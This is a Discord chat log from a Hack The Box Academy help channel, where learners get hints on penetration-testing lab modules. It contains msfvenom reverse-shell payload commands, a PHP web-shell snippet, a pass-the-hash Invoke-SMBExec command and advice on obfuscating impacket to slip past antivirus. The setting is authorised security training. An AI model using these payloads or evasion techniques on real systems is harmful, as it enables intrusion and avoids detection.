Otherwise google or #homelab-sysadm would be your best bet, not here

[timber hatch]

and i'm telling you that i'm more looking for a technical hack solution not just turning off norton 😉

but never mind

[fathom pendant]

🙄

Well then set up your smb server with credentials and see if that works

[timber hatch]

i will

[fathom pendant]

And I didn't say "turn off norton"

I said "allow the connection"

As in White-list it

[timber hatch]

yes also not happy with allow or white list 😉

[fathom pendant]

¯_(ツ)_/¯

[timber hatch]

¯_(ツ)_/¯

[fathom pendant]

Then google it since it's out of scope for academy modules

[timber hatch]

Yes, sometimes it's necessary to be more curious than just working through the modules 😉 I'll google it

[west canopy]

Find a way to transfer files through SMB in a way that does not trigger your antivirus. Maybe try Samba, or just windows to windows SMB transfers. Capture the packets and study what the traffic looks like when its allowed. Then, do the same thing but with impacket-smbserver. There are dozens of labs in Academy where this is possible. Again, capture the packets and see what the traffic looks like when using impacket as the smbserver. I suspect there is some string, or pattern of bytes, that signifies that its impacket (im not super familiar with the specifics of smb) . Then search through the source code and associated libraries used by the impacket smbserver, and remove/obfuscate what you suspect might be causing it to be identified.

[buoyant void]

Anyone ever work on a module and then it gets updated while you're doing it? I felt like I was going insane when I opened up the module and didn't recognize anything all of a sudden lol

[fathom pendant]

Lmao that's a mood

[buoyant void]

Yeah it was a very confusing experience lol

[west canopy]

Here, i found a video demonstrating how Suricata detects impacket smb connections. Norton probably does something similar to determine what a "legitimate" smb connection looks like
https://www.youtube.com/watch?v=65oJWoqXeRo

but this channel is for discussing Academy content

[sharp ridge]

Hey i'm stuck on the preignition machine. I'm a beginner so i'm sorry for my questions, but i try btw if anyone can help me. When i use gobuster i've this message and i can't find a solution. PLZ HELP
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.129.177.45
Error: error on parsing arguments: wordlist file "/usr/share/wordlists/dirb/common.txt" does not exist: stat /usr/share/wordlists/dirb/common.txt: no such file or directory

[west canopy]

wrong channel bud, this is for HTB Academy modules. You'll have to verify your account to access the other channels.

[sharp ridge]

so sorry !!

[west canopy]

what does the error mean? In your opinion?

[sharp ridge]

i think because i have any access to the wordlists i try to check it by the command : locate wordlists or gobuster dir -w /usr/share/wordlists/ -u 10.129.177.45

[west canopy]

you are telling gobuster to use a wordlist, /usr/share/wordlists/dirb/common.txt

the error is telling you that the file does not exist.

Can you think of a way to confirm or deny that?

[sharp ridge]

i try this but i'm not sure ls /usr/share/wordlists/dirb/common.txt
ls: cannot access '/usr/share/wordlists/dirb/common.txt': No such file or directory

[west canopy]

okay

so why not check whats inside /usr/share/wordlists/dirb ?

[sharp ridge]

same answer No such file or directory (If it's bothersome to discuss this here, I can ask my question on another channel. Thanks again for the help)

[wintry iris]

Good Morning! Good Evening!
I am doing the Active Subdomain Enumeration module and have a question
Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer.

For this question, I ran the command "dig axfr inlanefreight.htb @x.x.x.x" amd got some DNS records
but how can I know the number of zones?

[west canopy]

the fact that your command just returned DNS records, indicates you found the first zone

[wintry iris]

so what I need to do, is get all the domains from the records, and do "dig axfr" against each of them?

[west canopy]

it works like
dig axfr <name of subdomain / potential zone> @<IP of DNS Server>

[wintry iris]

if I get dns records from any of the domains, that means there is another zone

[west canopy]

so the target machine for the section is the DNS server . We will always keep @10.129.x.z in our dig commands

[west canopy]

possibly. Dig axfr is requesting a zone transfer , and yours just worked

for inlanefreight.htb

so inlanefreight.htb is the first zone

so all of those subdomains that were revealed, after you did the first zone transfer. Try doing a zone transfer against those subdomains.

[wintry iris]

Thank you @west canopy
I kind of understand it now

[west canopy]

i.e

dig axfr dev.inlanefreight.htb @10.129.74.20```

whichever subdomains you found from the first zone

[wintry iris]

very clear guide

[west canopy]

think of a DNS zone like a config file for the DNS server

when we do a zone transfer, we are asking for a copy of the dns servers zone file

[fathom pendant]

if you wanna be extra fancy with it; since you see ns.inlanefreight.htb as the NameServer (NS) record you can add the ip ns.inlanefreight.htb to your /etc/hosts and do

#/etc/hosts
10.129.10.10 ns.inlanefreight.htb

#Command Line/Terminal
dig axfr app.inlanefreight.htb @ns.inlanefreight.htb

[west canopy]

thats only if you want your body to ooze pure leetsauce

so sign me up

[fathom pendant]

also as a general note whenever you see 127.0.0.1 on a DNS record, that means the related record (NS, A, MX...) is localhost to the DNS

so if you find a bunch of records all 127.0.0.1 on DNS you can safely add those to your /etc/hosts and the server should autoroute you to the appropriate related site

speaking of @west canopy i find it kinda sad that DNS isn't more prevalent for the Footprinting Easy lab... but at the same time if you did a proper scan it doesn't matter

[west canopy]

well we wanted to be sympathetic to the large number of IT professionals who have PTSD regarding DNS in general

so keep the DNS enumeration to a minimum

[fathom pendant]

yeah i keep getting surprised by the people that do the dns enumeration part of that lab

i just skipped it

[west canopy]

gonna sign off for a bit , happy hacking everyone 🙂

[proven swift]

The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt" Could someone help me on how to solve this? I've tried fuzzing with all the wordlists didn't get anything to work with.

File upload attacks type filters

[wintry iris]

@west canopy @fathom pendant thanks
Not sure why I cannot add reactions to messages

[fathom pendant]

probably a restriction due to not being verified ( #welcome )

[wintry iris]

Oh, I didn't know that

[fathom pendant]

yeah HTB locks down unverified users, to reduce spamming of newcomers and whatnot

[wintry iris]

Thanks, will do verification when I back home

[cloud urchin]

IMO an easier way to approach it besides just starting off with brute forcing, is to find a real picture that the site allows to be uploaded. When you do this, you instantly know what file type, mime filter, content-type, etc are all allowed with pretty much zero thought required. From there it's just finding how to get your shell into that format.

really a waste of time to brute force it all when you can simply upload a real pic 🙂

[proven swift]

Sure but what about fuzzing the content type & myme bypass?

[fathom pendant]

well as he said, and to expand on it, just upload a real picture with the extension

[cloud urchin]

if you can successfully upload the file, then the file's mime type and content type are allowed through

[fathom pendant]

and you'll figure it out

¯_(ツ)_/¯

[cloud urchin]

yeah the the file type would probably need to be automated, but everything else you can infer from the file you uploaded

[proven swift]

I see fair enough thankyou

[buoyant void]

Is there anyway to reset answers on a module section? I'm currently doing the Broken Authentication module I started doing it yesterday and between yesterday and today the module got updated, and now it says I've completed some sections but the lab is completely different and it still has the old lab answer saved for the section with no way of me putting in any new answer to complete the new lab

[cloud urchin]

No, I don't believe so

[fathom pendant]

It's something I believe the team is looking into

[buoyant void]

Okay cool appreciate the answer!

[fathom pendant]

I think it popped up bc people were also having issues with other updated/overhauled modules

[heavy marsh]

I'm playing around in the documenting and reporting lab trying to find a good solution to the terminal output logging. I am using .zsh on kali and tried using the "script" command to log it, which worked, but it gave a really weird output when I opened it anywhere other than the terminal.

How am I supposed to get those clean code blocks with the <SNIP> that are featured in all of the modules?

For instance, I get this doing a searchsploit

When it should look something like this

When I use the cat command it formats it properly, but that would not allow me to pull the unneeded section and insert the <SNIP> portion

Are they that concerned with how we present our data, because I'm used to using just screenshots

[cloud urchin]

Have you tried in tmux?

[fathom pendant]

command is generally sufficient with screenshots

but also if the log is using colors, then a fair bit is because of that

it's pulling bash/zsh color schema which basically wraps text in a color but it uses a code for it

it's the secret sauce magic behind your terminal showing the (user<symbol>hostname) ---

it also looks like there's some other hex magix going on

https://www.eso.org/~ndelmott/ascii.html

yeah it's adding in some hex magics whitespace characters

<0x1B> is the "Escape" key in hex

[heavy marsh]

I have barely ever used tmux before today, and it was not set up for logging, but I will try that at some point and see what the output looks like. I don't have much hope though because when I tried just using tmux in general it was within zsh. tmux is just a multiplexer from what I understand, right? To me that seems like it just wouldn't output anything different than what I am already seeing since it's the same shell

[heavy marsh]

That makes sense!

[fathom pendant]

also the point of logging is so that you can cat it at a later point and screenshot it

[cloud urchin]

No idea. Just a thought.

and to cover your ass if client says you fucked shit up 🙂

[fathom pendant]

or review for any missed info*

yep

[heavy marsh]

I am going to give it a shot later once I'm through the end of the Attacking Enterprise Networks section

[fathom pendant]

eh

not worth getting used to a whole new terminal over it

[heavy marsh]

Yeah, I feel like at this point I'll log it for good practice with the "script" command as more of a simulated "cover my ass"

[fathom pendant]

tmux is it's own terminal with it's own shortcuts which takes time to even get used to using

I immediately sort of was put off by it, and that's a personal preference thing

A lot of it's features are nice, just not worth the headache for me, personally, to learn how to access and use them -- or configure it to do what I want

[heavy marsh]

Where do they get these templates from? I didn't see a link in the module.

I feel like I've seen these before with a tool that helps you write them and find the score.

[fathom pendant]

¯_(ツ)_/¯

i mean the template i believe is also in the report template when you load up the exam

so i don't think it's too big of a deal

https://github.com/Jopp-gh/Obsidian-Dune84/blob/main/Wiki/Tables.md here's an interesting find though

at least for markdown

looks like a bunch of css nonsense to make it work

[heavy marsh]

Interesting, thanks!

[west canopy]

check the Documentation & Reporting module, in the Resources

[wooden perch]

on Attacking SQL Databases I've got the flagDB flag but seems the answer is not correct when I submit, bug?

I got the flag from the DB tb_flag table

[fathom pendant]

From attacking common services?

[wooden perch]

yes

[fathom pendant]

It should be HTB{!..r}

Try refreshing the page and pasting again and making sure no extra spaces

[wooden perch]

aha! needed to run sqlcmd without the flags -y 30 -Y 30, cleared now

[solar zodiac]

Hi everyone! could anyone possibly nudge me on the first flag in the sliver skills assessment?

[fathom pendant]

Yeah that limits output size

[west canopy]

have you ran ||bloodhound||?

[somber matrix]

hi any one please help me in attacking web applications with ffuf... skill assesment

One of the pages you will identify should say 'You don't have access!'. What is the full page URL?
http://faculty.academy.htb:31353/courses/linux-security.php7
i have got this url but still showing in correct....

[real pond]

im so bored

[cloud urchin]

sounds like it's time to start a new module then

[real pond]

yea

i wanna do smt fun

but besides modules

i kinda wanna figure out my crushes discord password

:)

[cloud urchin]

sounds illegal

[somber matrix]

lose 2 cubes

[astral meteor]

who wants to ctf with me?

I know all the hackers here, but the great ones are really few

[edgy scarab]

I can't even verify my email 😢

[acoustic owl]

Reach out to support

[glossy delta]

Ohoh

[west dove]

I'm also stuck on this if you find a solution please let me know, I've messaged a couple of times in the forum

[proven swift]

Dm

[west dove]

@proven swift Dm sent

[edgy scarab]

It was my fault , i put the wrong email . Thanks for the help

[sterile epoch]

Hi I am having trouble using the kernel exploit CVE-2020-0668. I am facing this error when I replace the mozilla maintenence file witht the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.188 LPORT=7777 -f exe >shell7777.exe

[cloud urchin]

based on the error, it appears to be a 32bit vs 64bit issue. have you tried using a 32bit payload instead?

what is the architecture of the victim box?

[sterile epoch]

I dunno all the other 64bit tools work and when I execute the payload by double clicking it works too

I get a user shell

but i need a system shell with the exploit
`msfvenom -p windows/x86/meterpreter/shell_reverse_tcp LHOST=10.10.14.188 LPORT=7777 -f exe >shell7777.exe
Error: invalid payload: windows/x86/meterpreter/shell_reverse_tcp

can you tell me about the payload to use

the 32 bit one my notes only have 64 bit stuff

[cloud urchin]

paste this into powershell and tell me what it says ```if ([IntPtr]::Size -eq 8) {
Write-Output "64-bit PowerShell"
} else {
Write-Output "32-bit PowerShell"
}

[cloud urchin]

weird. idk then. just try the 32bit version instead i guess.

[sterile epoch]

can you tell me the 32 bit payload command I cannot find it in hacktricks or anywhere
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.188 LPORT=7777 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
will this do?

[cloud urchin]

You should delete this post because it contains spoilers.

[normal sand]

Done

[cloud urchin]

i don't know metasploit that intimately you'd have to search google

[normal sand]

How do you suggest I request assistance?

[edgy scarab]

How can i join professional lab Alchemy

[cloud urchin]

You should be able to infer the answer. You already know who you need to impersonate to gain higher privileges.

[sterile epoch]

yea I tried looking into hacktrics they only have 64 bit ones

[muted kindle]

If you don’t specify it should create 32bit by default
Check the output message after it’s created
If you want to explicit specify its -a x86

[normal sand]

I only know cuz I guessed though? What's the method of finding out? Can I DM you? I wanna mention something but can't without spoilers? 😅

[cloud urchin]

Ok

[halcyon bobcat]

hello guys

Please I have a question!
I started HTB CDSA, but when I got the Elastic SIEM module, I don't really know what to do to spawn to the lab target system and complete the module. Is there any I need to set to achieve it?

[muted kindle]

Doesnt the question tell you what to do and where to navigate to Kibana?

[sterile epoch]

the result is same with 32 bit payload

[sterile epoch]

thanks I got the payload

[cloud urchin]

what module

[blazing zinc]

Good morning everyone, I have recently started studying on HTB but I'm a bit lost. Could someone tell me which modules or paths I should study to start practicing Tier 1 on the Start Point?

[sterile epoch]

windows priv escalation module skill assessment 2

I checked the conditions for the exploit it matches what was shown earlier in the module's kernel exploit section

and winpeas confirmed the possibilites of this exploit

[cloud urchin]

i think i see the problem

[sterile epoch]

htb academy or main platform where the machines are to be hacked?

[sterile epoch]

?????

[blazing zinc]

academy, that part that has level 0 to level 3, start point, but now I saw that there are the recommended modules below

[sterile epoch]

I dont think thats academy can you share the link to the page?

[sterile epoch]

https://academy.hackthebox.com
this is for academy

[blazing zinc]

https://app.hackthebox.com/starting-point

[sterile epoch]

this is the main ctf platform.

you can try doing the starting point boxes to get yourself familiar with the process of ctf

try giving atleast an hour with each machine and if you are still stuck try looking at the walkthroughs

[cloud urchin]

Perhaps the target simply isn't vulnerable to that cve.

[blazing zinc]

yes, I saw that in each layer, at the end of the page there are the recommended modules to go through the phases, I hadn't seen it lol

[sterile epoch]

I dunno what else will work I tried looking into every section and cross check what my privs and options are on this. Then winpeas gave me this which was told in the module I double checked the maintenance file it too matched the criteria and the exploit works. but the payload is giving me the issue

anyways I will look for other paths

thanks for your help tho

nothing can be done if it does not work

[cloud urchin]

sounds like you need to up your power level

[sterile epoch]

yea its stupidly low for the progress on the path I plan to get a membership and do machines to get more xp

but I am on my student membership on this so I gotta finish the path fast

cuz its gonna expire in a few months

[cloud urchin]

i believe in you, you can definitely power up before your time expires.

[sterile epoch]

thanks

[grizzled fulcrum]

Hi, bros. Can someone help me? Im at passwords atacks module and I cant PTH to acces david sharefolder. When I try mimikatz i get this error ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
ERROR kuhl_m_sekurlsa_pth_luid ; memory handle is not KULL_M_MEMORY_TYPE_PROCESS

I tried Invoke modue but no lucky

[cloud urchin]

gnerally going to be permission related

[grizzled fulcrum]

Im logged as David via rdp

Invoke shows that david cant write in the folder

but is David folder, how cant he has no perms?

[cloud urchin]

permissions related to the process, not the folder. privilege is a better word for it.

sekurlsa::lsa uses lsass.exe which requires elevated privileges to access

[grizzled fulcrum]

I got your point. But this question is a bit controversal, since the question need to PTH with David hash to David Folder

[cloud urchin]

what is the result of whoami /priv

[grizzled fulcrum]

||SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege||

The second is disabled

[cloud urchin]

what section are you on

i'm too exhausted to stay up any longer so if you tell me which section you're on i may be able to provide insight, otherwise i'm going to bed

[grizzled fulcrum]

1638

|| Invoke-SMBExec -Target DC01 -Domain inlanefreight.htb -Username david -Hash c39f2beb3d2ec06a62cb887fb391dee0 -Command "dir" -Verbose
VERBOSE: [+] inlanefreight.htb\david successfully authenticated on DC01
[-] inlanefreight.htb\david does not have Service Control Manager write privilege on DC01||

Invoke shows it

[next bronze]

smb exec does not open the users directory iirc, how do you know what's the path it will run dir on

use mini to pth and access the shared folder that way

[turbid crest]

is ATTACKING COMMON SERVICES => Attacking FTP Questions 1 target machine supposed to show an port with ftp open with an standard scan nmap -sC -sV -p-? I couldnt find it and read in forum that its necessary to restart the target several times, is that correct? or is it supposed to not have ftp open?

[eager ledge]

You do not need to perform full port scan, standard nmap scan should be enough.

[turbid crest]

Thank you ok, so the machine seems clearly very buggy as the forum also says, than i have to restart it even more times and wait longer

[celest bridge]

Hey guys, just wondering if there is any open source tool that primarily focusing on obfuscation script block analysis ?

[eager ledge]

I am doing the Skills Assessment section of Pivoting. I am at the last question where I need to get the flag from Domain Controller. I have got access to the pivot2 machine. From there, when I try to RDP into domain controller, I get error which looks like RDP is not enabled in the Domain COntroller. In the module, we learn a lot of techniques where the pivot server is Ubuntu. However, in this case, all the machines are Windows and the options that I can think of is reduced largely. I tried to set up dynamic port-forwarding on pivot1 machine using plink so that I can perform a nmap scan on pivot2 machine. But it looks like pivot2 machine doesn't have SSH enabled, which means plink won't work. For using ptunnel, the pivot host is assumed to be Ubuntu server which is not true in this case. SocksOverRDP can be used to create RDP tunnel. But proxifier is for desktop applications. And I don't know proxychains equivalent for Windows

[turbid crest]

i didnt do that module yet and i am not understand all the details you mentiond but this come in mind for me https://github.com/jpillora/chisel

[icy marsh]

**advanced xss and csrf module **. STUCK.

• CORS MISCONFIGURATION
  qsn : Identify and exploit a CORS misconfiguration to conduct a CSRF attack and exfiltrate the flag.
  vhost needed : ** exfiltrate.htb, exploitserver.htb , vulnerablesite.htb**

I don't understand the question. to extract data from http://api.vulnerablesite.com/data (in my case https://api.vulnerablesite.com:PORT) using CORS misconfiguration , there should be present /data on api site. but in my case there is no such endpoint. then how do i proceed .

N.B - please correct me if my thinking is wrong.

how should I approach this situation

#modules advanced xss and csrf module

[halcyon bobcat]

Yes, it did.. but after clicking it didn't show up in the lab

[acoustic owl]

Where exactly do you see that there is a /data endpoint?

[solid moth]

SQLMAP ESSENTIALS-Skills Assessment. i am currently doing this section. i already found the injection parameter "id" but i get "connection refused" when i use sqlmap

[icy marsh]

i didn't see /data in the excercise . i saw that in the page where it teach us about CORS misconf.

[icy marsh]

how do I proceed ?

[muted kindle]

What does that mean

[solid moth]

somebody tell me why please?

[muted kindle]

The spawn target button right there ?

[muted kindle]

That usually means port closed

[icy marsh]

anyone with any suggesstions ?

[acoustic owl]

The module only shows you the method, but doesn't have much in common with the task at the end

[solid moth]

"ping" commend works

[muted kindle]

That’s IP
This is port
One layer above

[icy marsh]

how to step in to complete the task

[narrow spire]

#modules

[cedar goblet]

Module: Broken Authentication Skills Assessment

Looking through the Discord search, it seems like this lab was recently updated. If anyone has completed it recently, could I get a sanity check?

I managed to find valid credentials for ||g----s||, but I'm stuck at the OTP 2FA page. I already brute-forced twice from 0000-9999 and got no hits. I'm running Burp with 5 digits now, but it's taking forever (200,000 attempts, lol). The section about 2FA taught us to use the 4-digit code, so I'm wondering if I'm doing something wrong or if it's perhaps a lab issue?

[acoustic owl]

What exactly did you try and what didn't work? Read the module to understand the method

[icy marsh]

yes I did found an endpoint /index.php?first_name.....
this endpoint may be vulnerable. but not getting any flag

[acoustic owl]

Take a look at the whole website.

[acoustic owl]

Try ffuf instead of Burp

[icy marsh]

not getiing anything

[solid moth]

oh i see thanks

[cedar goblet]

Thank you. Should I stop the 5 digits attack? I'm at 100.000 mark and I'm afraid of losing progress if that was the intended path D:

[acoustic owl]

I don't know. I have not completed the new module. But Burp Community limits the number of requests. That's why it's taking so long.

[cedar goblet]

I'm using the professional version though, but I will try it with ffuf. Thanks!

[acoustic owl]

Then read the module again carefully. Understand the method and then try to find a vulnerable page

[acoustic owl]

Burp Professional should not actually limmit the requests

[cedar goblet]

Yeah, I'm starting to think that brute forcing OTP is not the intended path, neither burp/ffuf works for me. Time to try harder lol

[halcyon bobcat]

Yes, I clicked it.. then it showed an IP address

[cedar goblet]

I managed to make it work. Feels completely stupid. Thank you very much.

[muted kindle]

Thats your kibana instance go to port 5601 u will see it

sorry I'm resetting up my PC can't show you rigt now

[vast lichen]

I am studying the file upload module. If anyone needs help, I am happy to assist.

[cedar void]

If my annual subscription for HTB Academy ends and I Want to renew it, will my Pentesting path automatically be reset?

[muted kindle]

Have you accessed the kibana ?
says in thw question type this in the browser

[fathom pendant]

Only modules you didn't conplete

[marble island]

Hello i'm doing the FILE UPLOAD ATTACKS module, Type Filters section, there is a file upload functionality where you can upload a profile pic, so i got stuck, followed the solution and it says "configure burp, send file, take the request that you sent the file to the repeater, delete the content of the file and change the file type to GIF8 and ‰add <?php system('cat /flag.txt'); ?> to the content

I click send and it says "Only images are allowed"

Despite following the solution step by step, am i doing something wrong?

[halcyon bobcat]

Thank you for your feedback, I'll check it now.. I should search it on another tab in my browser, right?

[muted kindle]

in the pwnbox
Or your computer if you have the vpn running

[halcyon bobcat]

Isn't it in the instance?

the instance given in the module

[fathom pendant]

Instance != target

"Start Instance" starts the pwnbox
"Click here to spawn target" spawns the target

[limber surge]

Password attacks > Passwd,shadow & Opasswd
Examine the target using the credentials from the user Will and find out the password of the "root" user. Then, submit the password as the answer.

i can ssh into will . but when i tried to unshadow the passwd, and shadow. i got an error.
will is not in the sudoers file. This incident will be reported.

[fathom pendant]

Will has a copy somewhere, and you can transfer files to your attack system

See: File Transfer module if you want to find a method

[haughty stirrup]

<@&861185840277487616>

[next bronze]

[fathom pendant]

<@&861185840277487616> hmm name is sus

[haughty stirrup]

bro only got banned ffor a day

[winged hedge]

he's banned already

[fathom pendant]

As I was typing

[haughty stirrup]

https://tenor.com/view/rachel-green-friends-jennifer-aniston-little-gif-15469425315950831355

[pseudo kiln]

weird, how I could not get a flag, but same command on pwnbox showed it......

could have spent an eterinity trying to figure out why it was not working on my VM

[limber surge]

are we allow to scp a content out to pwn environment if we dont have the access to the /etc/shadow for the current user that is already ssh in?

[fathom pendant]

Maybe the files are in another directory

That can be accessed by the user

[limber surge]

wdym? i tried kira credential n ssh in. but still having an error. coz no right to ssh the /etc/shadow out to pwnbox.

[acoustic owl]

What Marcie is trying to tell you is that /etc/shadow is not what you are looking for

[upper haven]

Remember to apply every bit of knowledge taught in the module and don't just brute-force everything that stands in your way 🙂 . No need to brute-force the 2FA code 😬

[halcyon bobcat]

how can I share screenshots?, It's not letting me?

[cedar goblet]

Yes, I've managed to solve it already, thank you!

I got tunnel vision DX been studying nonstop for weeks 😛

[upper haven]

Awesome, glad to hear 🙌

[acoustic owl]

Read and follow #welcome

[hot merlin]

Is there anyone I can ask about kerberos attack module skill assessment last question? I have 2 creds and tgs for kirk

[halcyon bobcat]

where can I run the VPN connection file?

[muted kindle]

What are you using? You need a vpn client like openvpn and run the .ovpn file

The pwnbox should be enough for this module since you're just looking through logs

[halcyon bobcat]

Ok, let me use Open VPN to open the file

[hushed sail]

In your own environment (e.g. Kali Linux in VirtualBox or VMWare), you’ll download the VPN file from HTB.

In a terminal, run these commands:

cd Downloads
sudo openvpn your_vpn_file.ovpn

Replace “your_vpn_file” with the name of the vpn file you downloaded

[halcyon bobcat]

So I need to do it from Kali Linux virtual machine.. thank you for the clarification

[hushed sail]

You’re welcome!!

If you’re running a Linux distro on your host machine, you can also run it from there. But Kali Linux comes pre-installed with many of the tools you’ll be using in these modules, so it’ll be a little easier for you to use that if you’re not very experienced. 🙂

[halcyon bobcat]

how do I run with Kali, what are needed to be done

[hushed sail]

To run a Kali Linux virtual machine?

[fathom pendant]

if you're using the pwnbox you don't need to worry about the vpn config file

[halcyon bobcat]

done it need any connections

[fathom pendant]

it automatically connects to the vpn

[hushed sail]

☝🏻☝🏻

Pwnbox is really going to be your easiest option if you’re just starting out with this stuff.

[fathom pendant]

and to connect to the htb vpn it's as simple as; download vpn file in your vm --> open terminal --> cd to the directory you downloaded it to --> sudo openvpn <filename>.ovpn (replace <filename> with the approrpiate name, for instance, academy is academy-regular.ovpn

note: don't run the pwnbox and vpn connection at the same time, as you will have a bad time since they will have the same internal tun0 IP; so routing gets messed up and causes collisions

[halcyon bobcat]

Just did that on my Kali Linux Virtual machine

what do I do next

[fathom pendant]

well towards the bottom you should see Initialization Sequence completed yes?

if so: minimize (DON'T CLOSE) that terminal and open a new terminal

in the new terminal, type ip a and see if you have a tun0 ip

your VPN connection remains while the terminal you ran the sudo openvpn command is open

you should be able to launch a target that has a 10.129.x.x IP and ping it (depending on the module) and even scan with nmap

[halcyon bobcat]

I can't see the end, I tried to go down, but not letting me.. I think I'll just do the next step

[halcyon bobcat]

Now I see it, initialisation sequence completed

[halcyon bobcat]

done, yes

[halcyon bobcat]

where will I run it?

[fathom pendant]

in the academy page "Click here to spawn target"

[halcyon bobcat]

Ok

[fathom pendant]

in a NEW terminal

not the same terminal that has the VPN connection

which is why I suggest minimizing, i don't know if Kali has a desktop environment that has workspaces, I use parrot and have workspace 1 being my VPN connection, and do all my work in Workspace 2

so that I don't accidentally close my VPN when cleaning up my terminals between modules

[muted kindle]

Yes kali has workspaces

[halcyon bobcat]

should create another workspace?

[fathom pendant]

I recommend it; mostly because it keeps things cleaner

tbh if i had multiple monitors it wouldn't be that big of an issue; but i'm poor

[rustic sage]

you are not alone my friend!

I also recommend tmux

[fathom pendant]

if you're just starting out, learning tmux isn't bad

i'm just too stuck in the trenches of terminal that switching just was too much work for me to care enough

[rustic sage]

I just use i3 !

[fathom pendant]

ok arch user

[halcyon bobcat]

So now I'm in the HTB page, should I now click "spawn the target system!"?

[fathom pendant]

yep

[muted kindle]

yes

[rustic sage]

Damn, No I use Debain : )

[sterile epoch]

Hi I need a hint on skill assessment 2 for windows privilege escalation task 2

[fathom pendant]

I suggest going over "Introduction to Academy"

[sterile epoch]

I tried CVE-2020-0668

[fathom pendant]

as it teaches how to interact with Academy

[sterile epoch]

it does not work

[halcyon bobcat]

Ok done, what's the next step?

[halcyon bobcat]

?

[fathom pendant]

follow the steps given in the module/section to attack it

you should be able to interact with it from your VM

[mellow holly]

hey, where you stuck at on task 2?

[sterile epoch]

i need to escalate privilege to SYSTEM, I made the payload both 32 and 64bit versions and used the exploit to replace mozillaMaintenance it works but when I try to start the service I get this error

[halcyon bobcat]

The question says "Navigate to https://[Target IP]:5601, click on the side navigation toggle, and click on the "Discover". Then, click on the calendar icon, specify "last 15 years", and click on 'Apply'".
how do I go about it

[sterile epoch]

what do you get from the task??

[muted kindle]

Read the module material it shows screenshot of how to navigate kibana ...

[halcyon bobcat]

what next?

[halcyon bobcat]

Ok

[fathom pendant]

just follow the steps, and the rest should follow

to be able to answer the question

[mellow holly]

hmmm, shouldnt neet use that CVE for that task

[fathom pendant]

we're not here to hold your hand through the section

[mellow holly]

can do something much simpler imo

[sterile epoch]

I tried to copy the file directly but I do not have priv to replace the maintenance file

[sterile epoch]

can you give a hint?

I tried winpeas it gave me name of the exploit i am using now
I then tried SharpUp nothing much turned up

[mellow holly]

winpeas...didnt liek the output of that one fo rthi task

SHarp Up tho shuold help

[fathom pendant]

autoenum tools can give wildly out of scope stuff btw

WinPeas, much like LinPeas looks for everything whether you know how to accomplish it or not

[sterile epoch]

let me try it again

[mellow holly]

you should see seomthing that is related to installing

[sterile epoch]

ok

I get it

spend so much time I can practically see the output of enumeration in front of me

[mellow holly]

🙂

so like Marcie said, auto enumaration tools have their place, but you will have to analyze results yourself from many techniques and what you have available

[sterile epoch]

Thanks guys I appreciate the advise I will try them now

[mellow holly]

If you need more help , suggest looking at Miscellaneous Techniques section in the module

[zinc nimbus]

In the AD Enumeration & attacks - skills assessment part I when i try to upload chisel to the webshell it fails

i uploaded powerview.ps1 and it works idk why this happens

[fathom pendant]

try something else then ¯_(ツ)_/¯

there's more than one way to pivot

[zinc nimbus]

how are other ppl using chisel and it works tho?

[fathom pendant]

could be that it got corrupted/broken in transit ¯_(ツ)_/¯

so could be a connection issue

just saying don't solely rely on one tool

[zinc nimbus]

ok

[buoyant void]

If you haven't already do yourself a huge favor and go get familiar with ligolo, makes pivoting a lot easier in most cases. It saved me a ton of time doing the Attacking Enterprise Network module, and then I saw what the module itself recommended and I was even more glad I chose to use Ligolo instead of trying to proxy through MSF lol

[open summit]

why is the flag not working

[cloud urchin]

You should delete this as it contains spoilers, but that's not the flag it's looking for.

[open summit]

which one is it

because i did what it asked and ye

do i need to scan port 31337

[cloud urchin]

i don't know. i didn't write down any notes about the skill assessment, but I can see the answer is totally different than what you got.

[open summit]

the banner

is literally correct i checked on a youtube video

but its giving me that it its wrong

[cloud urchin]

maybe i am looking at the wrong section, you didn't include it

[open summit]

Network enumartion with nmap - nmap scripting engine

its telling me that the banner is wrong whenn its ltiewrally right

[cloud urchin]

yep that's the one i was looking at. not the flag they're looking for.

[open summit]

but on a utube vid its the same banner

[cloud urchin]

well i say it's not

[next bronze]

same banner != right flag

[shut quest]

I feel the question is a little tricky, but if your map flags are correct it should get the flag.

[open summit]

i seen the .. but i didnt access because i didnt think the flag would be there as the module hasnt included such a skill but i guess ur meant to use past knowledge from other modules

[cloud urchin]

good job getting it but no spoilers man

pass the struggle to the next person

[open summit]

my bad

[shut quest]

So much for that video being correct. 😂

[cloud urchin]

he was just looking at the flag itself to compare not the actual answer i think

[shut quest]

Oh

[hushed sail]

This one tripped me up when I first did it, too. Had to go hunting for scripts that weren’t listed in the course material. Realized the answer was right in front of me the whole time, just didn’t recognize it at first.

[worn matrix]

Has anyone solved Broken Authentication skills assessment?

module updated yesterday,if anyone have solved it and can give any tip!

[cedar goblet]

What do you need help with? It helps if you tell more what have you done and where you're stuck at.

[ocean night]

This is a tier 2 module - please take the discussion to DM.

[cedar goblet]

Okie! sorry!

[worn matrix]

sorry,didnt know

[cedar goblet]

gonna delete it just in case

[ocean night]

ty

[buoyant knoll]

Where can I get a tip/help with zephyr initial foothold?

[shut quest]

Read #welcome and register your account, you can ask in #prolabs-zephyr .

[buoyant knoll]

Ok thx

[plush crown]

Im new to HTB academy and this is HARD HARD....lo

[swift carbon]

welcome to the struggle bus. the journey is hard but very rewarding

[plush crown]

Yes....This is going to take some time.....I'm starting from SCRATCH......100% NOOB..

Don't they have an assistant that helps with the modules?

[swift carbon]

what modules are you starting with? i think they recently added step by step help for some modules if you have an annual subscription

[dim wolf]

no. if you bought any of the annual subs, you get the step-by-step solutions for questions

however people are more than willing to help you out if you have any questions

[swift carbon]

HTB Forums are amazing too

[plush crown]

I guess I need more of a detailed explanation 🤔......

Plus I don't want to be in thr discord bugging people 😒....lol...but I'm going to do this.....I really need this CERT by august......

[dim wolf]

why do you need the cert by then?

[cedar goblet]

